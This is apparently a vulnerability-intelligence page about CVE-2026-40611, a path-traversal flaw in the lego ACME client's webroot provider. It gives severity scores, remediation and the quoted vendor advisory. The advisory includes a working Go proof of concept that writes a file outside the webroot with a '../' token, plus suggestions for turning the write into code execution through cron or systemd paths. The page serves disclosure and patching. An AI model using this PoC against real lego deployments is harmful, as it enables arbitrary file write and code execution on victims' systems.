lego (ACME client) CVE-2026-40611
HIGHAttack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessVictim points lego at malicious ACME server
-
DeliveryServer returns HTTP-01 token with '../' sequences
-
Exploitfilepath.Join collapses path outside webroot
-
Executionlego writes keyAuth to attacker path (cron/systemd/webshell)
-
ImpactArbitrary file write, code execution or deletion
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK
2 techniques across 2 tactics: Discovery, Collection The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that lego be run with the HTTP-01 webroot solver (the '--http --http.webroot <dir>' options, i.e. the providers/http/webroot provider) AND that lego be pointed at a malicious or compromised ACME server (via '--server') that returns a challenge token containing '../' path-traversal sequences. The write/delete target is limited to paths writable by the lego process, so impact scales with the account's privileges - root grants full-filesystem write, a restricted service account confines it. Limiting factors: the user must actively configure/run lego against the untrusted server (CVSS UI:R), the DNS-01 solver and non-webroot HTTP providers are not affected, and versions 4.34.0 and later enforce validation. It is not remotely exploitable against a lego instance already using a legitimate CA - the CA/ACME server itself is the attacker. |
| Impact | The signals are deliberately mixed and must be read together. The CVSS 3.1 base of 8.8 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) and SSVC 'Technical Impact: total' reflect the worst case: full file write as the lego process, plausibly root. However, EPSS is only 0.05% (14th percentile) and SSVC marks 'Automatable: no', because exploitation is not opportunistic - it requires the victim to have already configured lego to talk to a malicious or compromised ACME server (captured by UI:R). This is not a mass-scannable internet vulnerability; it is a supply-chain/trust-boundary issue affecting anyone who uses an untrusted CA, an internal/self-hosted ACME server that gets compromised, or is tricked into changing --server. There is no CISA KEV listing, so this is not confirmed actively exploited; a POC exists but POC availability is not exploitation. Net: a genuine high-impact bug worth prompt patching for anyone using the webroot solver, but real-world urgency is moderated by the malicious-server precondition rather than the raw 8.8 suggesting broadcast risk. |
| Exploit ScenarioDerived | A victim runs lego with '--http --http.webroot /var/www/html' and, deliberately or through misconfiguration/compromise, points '--server' at an attacker-controlled ACME endpoint. During the HTTP-01 challenge the malicious server returns a token like '../../../../../../tmp/pwned' (or a cron/systemd path), and lego writes the key authorization there - enabling code execution or file destruction. A working POC that directly drives the webroot provider is published in the advisory, and CVSS AC:L means no special timing or complexity is needed once the malicious server is in the loop. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 24, 2026
Arbitrary file write and deletion in the go-acme/lego ACME client (versions before 4.34.0) allows a malicious or compromised ACME server to escape the configured webroot via path traversal. When lego solves an HTTP-01 challenge with the webroot provider, it writes the key authorization to a path built by directly concatenating the server-supplied challenge token; a token containing '../' sequences (e.g. '../../../../tmp/pwned') redirects the write - and the corresponding CleanUp() delete - to any location writable by the lego process, up to remote code execution if lego runs as root. Publicly available exploit code exists (SSVC 'poc'), but the EPSS score is very low (0.05%, 14th percentile), consistent with the requirement that the victim first point lego at an attacker-controlled ACME server.
RemediationAI
Vendor-released patch: upgrade to lego 4.34.0 or later, which is the fixed release for the v4 module line; rebuild and redeploy any downstream binaries that vendor lego. No fixed release is identified for the legacy v3 (<= 3.9.0) or v2/original (<= 2.7.2) module lines, so migrate those to the v4 4.34.0+ line. Distribution users should apply their vendor update, e.g. Red Hat RHSA-2026:21772 (https://access.redhat.com/errata/RHSA-2026:21772). If you cannot patch immediately, the highest-value compensating control is to only ever point lego at a trusted ACME server - verify the --server value and treat any internal/self-hosted ACME endpoint as a trust boundary (protect and monitor it against compromise); this fully removes the attack when honored but relies on operational discipline. Additionally, run lego as a low-privilege, non-root user with a filesystem restricted to the webroot (dedicated account, no write access to cron, systemd unit, or shell-profile directories), which limits blast radius but does not stop writes within reachable paths. Consider the DNS-01 solver instead of webroot where feasible to avoid the vulnerable code path entirely, at the cost of DNS provider configuration. Reference the advisory at https://github.com/go-acme/lego/security/advisories/GHSA-qqx8-2xmm-jrv8.
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 3 packages in go
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
lego is a widely used Go ACME/Let's Encrypt client library and CLI. The HTTP-01 challenge flow requires the client to place a token-named file under /.well-known/acme-challenge/ so the CA can verify domain control. The root cause is CWE-22 (Improper Limitation of a Pathname to a Restricted Directory): ChallengePath() in challenge/http01/http_challenge.go builds '/.well-known/acme-challenge/' + token with no validation, and the webroot provider (providers/http/webroot/webroot.go) passes the result through filepath.Join(w.path, ...). Because filepath.Join resolves '..' components, a token like '../../../../tmp/evil' collapses the join to an absolute path outside the webroot, where os.MkdirAll + os.WriteFile create attacker-controlled content and os.Remove deletes attacker-chosen files. RFC 8555 Section 8.3 restricts ACME tokens to the base64url alphabet [A-Za-z0-9_-], which would prevent traversal, but lego never enforces this constraint - it implicitly trusts the ACME server, which is precisely the trust boundary the attacker crosses.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Malicious ACME server needs no victim privileges (PR:N) but the user must run lego against it (UI:R); arbitrary file write yields full C/I/A impact within the lego process's unchanged scope (S:U).
Primary rating from Vendor (https://github.com/go-acme/lego).
CVSS VectorVendor: https://github.com/go-acme/lego
Lifecycle Timeline
2DescriptionCVE.org
Summary
The webroot HTTP-01 challenge provider in lego is vulnerable to arbitrary file write and deletion via path traversal. A malicious ACME server can supply a crafted challenge token containing ../ sequences, causing lego to write attacker-influenced content to any path writable by the lego process.
Details
The ChallengePath() function in challenge/http01/http_challenge.go:26-27 constructs the challenge file path by directly concatenating the ACME token without any validation:
func ChallengePath(token string) string {
return "/.well-known/acme-challenge/" + token
}The webroot provider in providers/http/webroot/webroot.go:31 then joins this with the configured webroot directory and writes the key authorization content to the resulting path:
challengeFilePath := filepath.Join(w.path, http01.ChallengePath(token))
err = os.MkdirAll(filepath.Dir(challengeFilePath), 0o755)
err = os.WriteFile(challengeFilePath, []byte(keyAuth), 0o644)RFC 8555 Section 8.3 specifies that ACME tokens must only contain characters from the base64url alphabet ([A-Za-z0-9_-]), but this constraint is never enforced anywhere in the codebase. When a malicious ACME server returns a token such as ../../../../../../tmp/evil, filepath.Join() resolves the .. components, producing a path outside the webroot directory.
The same vulnerability exists in the CleanUp() function at providers/http/webroot/webroot.go:48, which deletes the challenge file using the same unsanitized path:
err := os.Remove(filepath.Join(w.path, http01.ChallengePath(token)))This additionally enables arbitrary file deletion.
PoC
In a real attack scenario, the victim uses --server to point lego at a malicious ACME server, combined with --http.webroot:
lego --server https://malicious-acme.example.com \
--http --http.webroot /var/www/html \
--email user@example.com \
--domains example.com \
runThe malicious server returns a challenge token containing path traversal sequences ../../../../../../tmp/pwned. lego's webroot provider writes the key authorization to the traversed path without validation, resulting in arbitrary file write outside the webroot.
The following minimal Go program demonstrates the core vulnerability by directly calling the webroot provider with a crafted token:
package main
import (
"fmt"
"os"
"github.com/go-acme/lego/v4/providers/http/webroot"
)
func main() {
webrootDir, _ := os.MkdirTemp("", "lego-webroot-*")
defer os.RemoveAll(webrootDir)
provider, _ := webroot.NewHTTPProvider(webrootDir)
token := "../../../../../../../../../../tmp/pwned"
provider.Present("example.com", token, "EXPLOITED-BY-PATH-TRAVERSAL")
data, err := os.ReadFile("/tmp/pwned")
if err == nil {
fmt.Println("[+] VULNERABILITY CONFIRMED")
fmt.Printf("[+] File written outside webroot: /tmp/pwned\n")
fmt.Printf("[+] Content: %s\n", data)
}
}go build -o exploit ./exploit.go && ./exploitExpected output:
[+] VULNERABILITY CONFIRMED
[+] File written outside webroot: /tmp/pwned
[+] Content: EXPLOITED-BY-PATH-TRAVERSALImpact
This is a path traversal vulnerability (CWE-22). Any user running lego with the HTTP-01 challenge solver against a malicious or compromised ACME server is affected.
A malicious ACME server can:
- Achieve remote code execution by writing to cron directories, systemd unit paths, shell profiles, or web application directories served by the webroot.
- Destroy data by overwriting configuration files, TLS certificates, or application state.
- Escalate privileges if lego runs as root, granting unrestricted filesystem write access.
- Delete arbitrary files via the
CleanUp()code path using the same unsanitized token.
Executive ViewAI
go-acme/lego ACME client versions before 4.34.0 allow arbitrary file write and deletion with publicly available exploit code, creating remote code execution risk if lego runs with elevated privileges. Organizations using lego for certificate automation should immediately upgrade to version 4.34.0.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
GHSA-qqx8-2xmm-jrv8
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB